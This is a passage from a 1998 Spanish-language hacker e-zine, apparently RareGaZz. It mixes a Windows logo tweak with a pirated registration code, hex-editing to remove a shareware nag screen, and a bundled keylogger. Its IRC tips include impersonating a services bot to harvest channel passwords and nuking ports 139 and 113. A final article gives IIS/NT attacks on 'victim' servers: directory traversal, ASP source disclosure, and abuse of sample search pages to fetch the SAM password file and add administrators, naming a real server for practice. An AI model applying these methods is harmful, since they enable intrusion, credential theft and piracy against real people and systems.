 El archivo lo puedes crear con un programa como Paint Shop Pro y para cambiar
 su formato pillate el Graphic Work Shop en la pagina
 www.mindworkshop.com/alchemy/gww.html, ademas por gentileza de Mr_Frost este
 es el codigo de registro:
        numero: 29581
        numbre: WareZoHolicS
 Este codigo es para la version de Windows 3.x pero creo que tambien vale para
 las demas, este programa ademas de ser un excelente visualizador de imagenes
 tiene bastantes formatos de conversion, entre ello el RLE.

 Atencion, el archivo grafico no debe tener mas de 16 colores ni ocupar mas de
 47696 bytes ni tener una resolucion mayor a 640x480 pixels.
 Este archivo sera incluido dentro del ejecutable win.com asi que mas vale hacer
 una copia antes de empezar a trastearlo.

 Desde la linea de mandatos del MS-DOS teclearemos lo siguiente:

 C:\>copy /b systm\win.cnf+system\vgalogo.lgo+milogo.rle win.com

 siendo "milogo.rle" el archivo grafico creado por nosotros.
 Ahora cada vez que se inicie el Windows saldra nuestro dibujo.

 Para que no aparezca ningun logo al inicio basta con teclear win : cada vez
 se cargue.
 Para crear un win.com si logo:

 C:\WINDOWS>copy system\win.cnf win.com   ;ojo, desde el directorio Windows.

 Para hacer la operacion contraria, restaurar el antiguo logo, copia el win.com
 encima del antiguo de la siguiente manera:

 C:\>move /y a:\win.com c:\windows\win.com

                                             Feliz Hacking, Mr_Frost

           

      El Software de Frost.
      ~~~~~~~~~~~~~~~~~~~~~

 En el numero 10 se mostraba como hackear con un editor hexadecimal, pero como
 todo el mundo no tiene el Ventanuco 95 para usar el editor hedit incluido
 tambien en la revista, ahi les mando un buen editor hexadecimal para MS-DOS.
 Ademas, he incluido un capturador de teclado para MS-DOS (si alguien sabe de
 alguno para Windows que me lo diga!!) bastante bueno y un compilador para
 archivos BAT con el que podras crear tus programas sin necesidad de aprender
 un lenguaje complicado.

 Nota: el compilador de archivos BAT crea un odioso mensaje que sale cada vez
 que se ejecuta el programa compilado, pero eso no es problema para Frost:
 para quitar el mensaje y la pausa que hace antes de procesar el codigo de
 nuestro programa basta con abrir el programa compilado con del editor
 hexadecimal incluido y rellenar con ceros '00' todos los bytes de la cabecera
 del archivo hasta el ultimo retorno de carro '0D 0A 0A' incluido.

 Ejemplo: tenemos la siguiente cabecera de un archivo BAT compilado

 BA 31 01 B4 09 CD 21 06 B8 40 00 8E CD B9 03 00      que contiene la pausa y
 26 8A 26 6C 00 80 E4 0F 26 A0 6C 00 24 0F 3A C4      el pesado mensaje que se
 74 F6 26 A0 6C 00 24 0F 3A C4 75 F6 E2 EA 07 EB      ejecuta cada vez que
 7E 54 68 69 73 20 66 69 6C 65 20 63 6F 6D 70 69      ejecutamos nuestro
 6C 65 64 20 77 69 74 68 20 75 6E 72 65 67 69 73      programa obligandonos a
 74 65 72 65 64 20 76 65 72 73 69 6F 6E 20 6F 66      pagar por usar este
 20 54 75 72 62 6F 42 41 54 20 62 61 74 63 68 0D      programa.
 0A 66 69 6C 65 20 63 6F 6D 70 69 6C 65 72 2E 20
 20 50 6C 65 61 73 65 20 72 65 67 69 73 74 65 72
 20 74 6F 20 65 6C 69 6D 69 6E 61 74 65 20 74 68
 69 73 20 6D 65 73 73 61 67 65 2E 0D 0A 0A ....

 Para quitarlo hay que rellenar toda la cabecera con bytes neutros como 00
 hasta el ultimo retono de carro que indica el final del mensaje 0D 0A 0A:

 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ....

 Bueno ya saben como va esto, no? Para crear el archivo frost.zip con las
 utilidades que se han descrito mas arriba copia el texto entre los puntos
 (sin los puntos) y copialo a un archivo con el nombre frost.uue y usa el
 programa UUDECODE (incluido en RareGaZz #1) con la siguiente SINTAXIS:

 UUDECODE FROST.UUE

..........................Empieza el codigo....................................

 [Image]Download Attachment: frost.zip  [Get Virus Scan]

..........................Fin del codigo.......................................

                                  Estas utilidades te haran la vida mas facil
                                                                      Mr_Frost

 oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
 Y para que veais que en nuestro zine tenemos gran variedad, aqui va algo de
 IRC. Algunos trucos son los de siempre, pero hay otros que estan muy bien ..
 oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO

 11 - TRUCOS PARA EL IRC HISPANO
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Jelou. Primero de todo felicitarles por este magnifico magazine que estan
promoviendo y que es de gran utilidad (al menos para mi).  Tb me
gustaria ofrecerles mi colaboracin para lo que quieran IRC paginas
interesantes algo que busquen y no encuentren, etc. como parece que el tema
del IRC lo dejan un poco a parte, es normal ya que hay cosas ms
interesantes, me gustaria hacer un pequeo inciso sobre el IRC en un numero
de su revista vi que pedan ms servidores espaoles aqu os va una pequea
lista de servidores espaoles:

fuego.irc-hispano.org\
En estos dos servidores recomiendo el puerto 8896 (para mejor rapidez
y menor posibilidad de nukeo)
aire.irc-hispano.org   /
irc.redestb.es
irc.ctv.es
irc.lleida.net
irc.catalunya.net

Yo creo que con esos servidores ya va bien. Ahora os recomendare unos
scripts y os dire paginas donde encontrarlos:

Si quereis un script para el IRC de guerra podeis conseguir estos:
- AzEzInO v2.1 ( este os lo recomiendo es genial para matar a gente :)
- Killer Zombie

Si por el contrario quereis un script de dibujitos sonidos y tonterias
estan estos otros:
- Orbital
- Beginner
- Shark
- Skripter 97

Aqui teneis una direccion donde podreis encontrara estos scripts y ms:

www.arrakis.es/~sucubus

        Si deseais hacer vuestro propio script para el IRC os mando un manual
pequeo pero que os dara una minima idea de como poder hacer vuestro propio
script y con ayuda de ese manual y la guia de ver otros scripts pues podeis
hacer vuestro propio script.

TRUQUITOS PARA EL IRC

Este truco funciona a veces no funciona siempre pero a veces esta bien ya
que puedes descubrir con quien hablas ya que el internet es muy falso

Al poner /dns nick sale la dns de una persona y si ponemos la dns al reves
pues en varias ocasiones sale el nombre del ordenador que le da la persona
a su ordenata acostumbra a ser su nombre, as podemos saber si miente o no.
Por ejemplo:

        Estamos hablando con alguien y dice que es una tia y muchas mas cosas y su
nick es julia tu puedes poner /dns julia saldra una cosa como 195.67.87.5 y
entonces pones /dns 5.87.67.195 y si sale bien saldria el nombre del
ordenata que podria ser julia o juan depende si miente o no es un truquito
para saber con quien hablamos.

        Otro truquito para conseguir passwords de la gente de los canales y tener
acceso a ese canal es que cuando haya un split, no muy anormal en el irc
hispano, tengas un clon y le pongas rapidamente el nick de Scytale ( bot de
arrakis ) y estar en muchos canales y asi la gente que entre al canal que
este registrado y tenga la autentificacin automatica te dira su pass de
una forma muy rapida :)

        En este mail os incluyo un nuke muy potente y recordad que los puertos que
podeis nukear son el tipico 139, 113 y hay otros pero no me los se.

        Para evitar que os nukeen, que realmente no es divertido ya que suele
putearte cuando bajas archivos o estas haciendo otro tipo de maldades por
internet o telnet, lo que podeis hacer es el archivo vnbt.386 le canviais
el nombre por vnbt.bak esto es para los usuarios de win95 ya que linux creo
que no tiene ese pequeo error, de esta forma nadie podra nukearos.

        Bueno de momento eso es todo espero que os haya servido de algo lo que os
he contado. Realmente como decis los hackers espaoles han muerto y han
sido enterrados pero es que aqu en espaa estamos muy puteados con la puta
timofonica ya que conectarse es muy caro y encima subiran a 300 pelas la
hora y los numeros 900 que funcionen no abundan mucho. Pero aunque no haya
hacekrs aunque gente como yo, como voostros que queremos que la informacion
sea libre y gratuita y que los putos poderosos dejen de darnos la bara y
que encierren a los putos polticos corruptos en vez de a inocentes hackers
que no hacen dao a nadie PODREIS METER MI CUERPO EN UNA CARCEL, PERO MI
MENTE SIEMPRE LIBRE SIEMPRE ARDE PORQUE ES INARRESTABLE ( EL CLUB DE LOS
POETAS VIOLENTOS ) Bueno y despus de todo este rollo se despide alguien
que quiere colaborar con todo este movimiento y que le gustaria recibir
notificaciones de nuevas publicaciones y si necesitais ayuda en algo no
dudeis en comunicarlo que se buscara informacin, se realizara lo necesario
y se os ayudara. Venga adios. POBRE, LISTO, TONTO O RICO MORIRAS ( by ME )

 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
 Cada dia se encuentran mas servidores con Windows NT. Creo que es importante
 estudiarlos ya que, al ser de Microsoft, seguro que es mas facil hackearlos.
 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

ͻ
                                                                          
       LAS                            +++ Azum Lord +++                   
 POSIBILIDADES EN                                                         
    WINDOWS NT               http://members.xoom.com/logos/wlm.htm        
  -segunda parte-                     AzumLord@bigfoot.com                
                                                                          
ͼ

 Hello World!!!!!, aprovechando que me quede en casa y no sali de vacaciones
en semana santa :-(, heme aqui y como tengo varios dias esto va estar medio
cargado.

 Primero que nada tienes que saber si es un servidor NT asi que hay varias
posibilidades para saber si es o no, un servidor NT:

 1. Fijate en la pagina de la vicitma talvez ahi diga
 2. Ve a http://www.netcraft.com/cgi-bin/Survey/
 3. Prueba NBTSTAT -A [ip address] y fijate en la respuesta

 La primera opcion es la mas sencilla en esa URL se encuentra un robot que es
mas o menos como un motor de busqueda tu le das la direccion y te dice que
tipo de servidor esta corriendo, pero el problema es que no todos los servidores
estan registrados asi que en algunos no podras usar esta opcion.

 La segunda opcion es la mas simple, vas a la pagina de la victima y si dice
que es un servidor NT ya la hiciste o talvez te encuntras con paginas que envez
de ser *.html o *.htm son *.asp 

 La tercera es la mas segura.


 Si ya encontraste un servidor NT, puedes probar algunos de los siguientes
exploits.

Saltando directiorios:

Para saltar el directorio wwwroot, que es el direcorio del web, pon lo sig.:
http://www.victima.com/..\..

Pero esto ya no funciona en un servidor IIS 3.0/NT 4.0 corriendo el service
pack 3.

Viendo el contenido de un ASP:

 Por ejemplo la direccion normal es www.victima.com/pagina.asp para ver el
codigo usas http://www.victima.com/pagina.asp.   
                                             ^El punto hace que el codigo
                                              sea visible en el navegador.

 El problema es que esta parchado en sistemas corriendo el service pack 2 y 3

El exploit de los motores de busqueda:

 Este es el que mejor funciona en casi todos los servidores que lo he probado.

Solo tienes que poner:

http://www.uyweb.com.uy/samples/search/queryhit.htm 
      Este servidor esta muu bien pa' practicar un rato, asi que ya sabes,
      como este ay un (#!)&#)$)(($ de servidores.

 Si por ejemplo sale una pagina que parece un motor de busqueda el exploit
"podria" funcionar y digo "podria" porque talvez puedas accesar a la pagina
pero al hacer una busqueda no tienes privilegios asi que esto no serviria de
nada, pero si puedes ejecutar la busqueda preparate para hacer esto:

 Puedes buscar por cualquier archivo en el servidor, por ejemplo.

\\WINNT\SYSTEM32\CONFIG\SAM --> Que es el archivo de password del NT
\\WINNT\REPAIR --> Que es el respaldo del archivo de password del NT

 O puedes buscar especificamente por un tipo de archivo usando esto:

#filename=*.asp --> Para que busque todos los archivos con terminacion
asp, haz mas pruebas con eso busca por ejecutables, zippeados, cabs
en algunos servidores puedes bajar buen software.

 Tambien puedes buscar por *.htx, *.idq, *.log, *.txt, *.scp, *.doc, etc.
talvez contengan alguna informacion importante.

  Estuve jugando un rato con eso, y encontre que si ese servidor tiene
instalado el Back Office para Windows NT que es para administrar bases de
datos SQL puedes buscar por un archivo que se llama anusqllogin.asp

 Por si no se te prendio el foco de como buscar el archivo solo pon esto:

 #filename=anusqllogin.asp

 Y si lo puedes accesar puedes agregar administradores con el nombre y
passwd que quieras };-> la mayoria de las ocasiones este archivo no tenia
restricciones y lo pude accesar y ejecutar.

Tambien puedes probar este otro motor de busqueda:

http://www.victima.com/scripts/samples/search/webhits.exe

 Pero la mayoria de las veces que lo he probado falla, pero vale la pena
intentarlo asi que pruebalo de todas maneras.

Azumlord@hotmail.com

 `'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'
 Esto es todo amigos. Espero que la hayais encontrado interesante y que sigais
 colaborando con vuestros articulos y sugerencias.

 Pronto volveremos con mas cosas ....

                                                RareGaZz '98
                                                ~~~~~~~~~~~~

